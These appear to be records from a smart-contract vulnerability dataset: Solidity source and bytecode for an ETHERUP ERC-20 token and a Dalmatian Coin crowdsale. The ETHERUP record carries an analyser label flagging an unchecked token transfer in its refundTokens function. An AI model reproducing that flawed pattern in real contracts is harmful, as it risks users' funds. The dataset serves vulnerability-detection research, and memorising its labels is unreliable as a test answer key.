pragma solidity ^0.4.21; /* * Creator: ETU (ETHERUP) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * ETHERUP token smart contract. */ contract ETUToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 15000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function ETUToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "ETHERUP"; string constant public symbol = "ETU"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a75565b005b34156103f057600080fd5b6103f8610c70565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca9565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d35565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbc565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600781526020017f455448455255500000000000000000000000000000000000000000000000000081525081565b60008061067f3385610d35565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1d565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100f565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6b576109666a0c685fa11e01ec6f0000006004546113f5565b8211156109765760009050610a70565b6109be6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0c6004548361140e565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a70565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0e57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb357600080fd5b5af11515610bc057600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f455455000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0457600080fd5b600560009054906101000a900460ff1615610d225760009050610d2f565b610d2c838361142c565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104c57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d957600090506113ee565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112857600090506113ee565b60008211801561116457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611384576111ef600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b76000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113416000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140357fe5b818303905092915050565b600080828401905083811015151561142257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b85760009050611678565b6000821180156114f457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160e576115416000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cb6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058204f2a7a50fc6bf853f6ed905cfe73f229b17a00a5957fd46043c943ccca911af60029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,832
0x5f04d5f765689caf12bc3500a1b4fbfe8821a85b
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ pragma solidity ^0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 180000000000000000*10**1; uint256 public constant basePrice = 510066527000000*10**1; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 1*10**1; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title DalmatianCoin * @dev Contract to create the Dalmatian Coin **/ contract DalmatianCoin is CrowdsaleToken { string public constant name = "Dalmatian Coin"; string public constant symbol = "DAL"; uint32 public constant decimals = 1; }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e8766121f072d89598063ffffffff61065e16565b9063ffffffff61068d16565b9350600092506718fae27693b400006101be856003546106a290919063ffffffff16565b111561022c576003546101e0906718fae27693b400009063ffffffff6106af16565b9150610211670de0b6b3a76400006102058466121f072d89598063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d906718fae27693b400009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e118339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e118339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf1565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c8a565b34801561064957600080fd5b50610532600160a060020a0360043516610cb5565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600e81527f44616c6d617469616e20436f696e000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e11833981519152929181900390910190a35060019392505050565b600181565b6718f